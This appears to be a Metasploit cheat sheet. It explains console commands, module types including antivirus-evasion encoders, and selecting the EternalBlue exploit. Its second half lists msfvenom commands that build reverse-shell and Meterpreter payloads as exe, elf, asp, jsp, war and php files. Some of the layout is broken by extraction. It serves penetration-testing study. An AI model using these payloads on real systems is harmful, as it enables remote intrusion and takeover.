Metasploit Framework is the free, open-source version of Metasploit, an exploitation framework.
There are three general concepts within the Metasploit framework:
msfconsole
starts the program and drops you off at a prompt: msf6 >
(or msf5 >
)msf6
prompt (e.g., ls
, ping
, clear
, etc.There are 4 main activities you will most always do when using Metasploit:
msfconsole
msf
prompt with: ?
.show exploits
search [keyword]:[arg] [keyword]:[arg]
show payloads
run
your exploithelp [command name]
- Shows the help file for the command indicated.history
- See a list of commands you used (so you can then do a help [command]
on the command you need help with).
search [parameters/keyword]
- Search the Metasploit Framework database for modules relevant to the given search parameter/keyword.
search ms17-101
search type:auxiliary telnet
Alternative Search Option: Rapid7 maintains a searchable web-based exploit database. Find your exploit there and tell msf to use it.
info
- To see more information on the loaded module. You can see info on any module at any time by using the command info
followed by the full path the module you need info on.
Parameters (Keywords):
Keyword | Description |
---|---|
app | client or server attack |
author | search by module author |
bid | search by BugTrack ID |
cve | search by CVE ID |
edb | search by Exploit-DB ID |
name | search by descriptive name |
platform | search by platform (Windows, Linux, etc.) |
ref | modules with a specific ref. |
type | search by type (exploit, auxiliary, post) |
You want a Normal ranking or above. Command to filter exploits by ranking:
# search for exploits ranked great: search -r great # set the same filter globally: setg MinimumRank great
Rank | Description source |
---|---|
Excellent | The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances (WMF Escape()). |
Great | The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. |
Good | The exploit has a default target and it is the “common case” for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). Exploit does not auto-detect the target. |
Normal | The exploit is otherwise reliable, but depends on a specific version that is not the “common case” for this type of software and can’t (or doesn’t) reliably autodetect. |
Average | The exploit is generally unreliable or difficult to exploit, but has a success rate of 50% or more for common platforms. |
Low | The exploit is nearly impossible to exploit (under 50% success rate) for common platforms. |
Manual | The exploit is unstable or difficult to exploit and is basically a DoS (15% success rate or lower). This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/unix/webapp/php_eval). |
use
- Select a module to use. Follow use
with the full path to the module you want to use or its number in your search result list. Example:
use exploit/windows/smb/ms17_010_eternalblue # Results in a new, descriptive msf prompt [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) >
back
- Back out of (de-select, un-use) the module you just selected with use
.
show options
or just options
- Shows you the options of the loaded module that you can set.
show advanced
or just advanced
- Shows you the advanced options of the loaded module that you can set.
set [option name] [value]
- Set the module options you need to set.
unset [option name or all]
- Unset a specific module option or all of them.
setg
- will set an option globally to be used by default in whatever module.
unsetg
- will unset your global option.
exploit
or run
- Launch the module.
run
command is an alias created for the exploit
command because “exploit” did not make sense when using modules that were not exploits, like port scanners, vulnerability scanners, etc.exploit -z
(a nod to the Ctrl-z
session key-binding) will put your newly created session into the background automagically.
Sessions: Once a vulnerability has been successfully exploited (with exploit
or run
) a session will be created. A session is the communication channel established between the target system and Metasploit.
background
or Ctrl-z
- at your session prompt (e.g. meterpreter >
), this commando will send the session to the background (out of your way, so you will not be interacting with it).sessions
- lists out your current sessionssessions -i [Id number]
- pull a session from the background to the foreground to interact with it.Any supporting module, such as scanners, crawlers and fuzzers. Found here:
/usr/share/metasploit-framework/modules/auxiliary
Allow you to encode the exploit and payload in the hope that a signature-based antivirus solution may miss them.
/usr/share/metasploit-framework/modules/encoders
Direct attempts to evade antivirus software.
/usr/share/metasploit-framework/modules/evasion
Modules that… well… exploit. Very neatly organized by target system here:
/usr/share/metasploit-framework/modules/exploits
NOPs (No OPeration) do nothing, literally.
/usr/share/metasploit-framework/modules/nops
Payloads are codes that will run on the target system.
/usr/share/metasploit-framework/modules/payloads
Payloads are split into three categories:
Inline (single) vs. Staged Payloads:
_
) separating the words.generic/shell_reverse_tcp
windows/x64/shell/reverse_tcp
Post modules are useful during the final, post-exploitation phase. Found here:
/usr/share/metasploit-framework/modules/post
After a successful exploit (and assuming your payload was Meterpreter), two common commands you will likely often want to try:
# priv esc to admin getsystem # get a shell in the exploit directory on the target shell
See here.
msfconsole
…Handlers should be in the following format:
use exploit/multi/handler set PAYLOAD <Payload name> set LHOST <LHOST value> set LPORT <LPORT value>
Staged Payloads for Windows
# x86 msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe # x64 msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe
Stageless Payloads for Windows
# x86 msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe # x64 msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe
Staged Payloads for Linux
# x86 msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf # x64 msfvenom -p linux/x64/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf
Stageless Payloads for Linux
# x86 msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf # x64 msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf
# asp msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp # jsp msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp # war msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war # php msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.php
Staged Payloads for Windows
# x86 msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe # x64 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe
Stageless Payloads for Windows
# x86 msfvenom -p windows/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe # x64 msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe
Staged Payloads for Linux
# x86 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf # x64 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf
Stageless Payloads for Linux
# x86 msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf # x64 msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf
# asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp # jsp msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > example.jsp # war msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > example.war # php msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php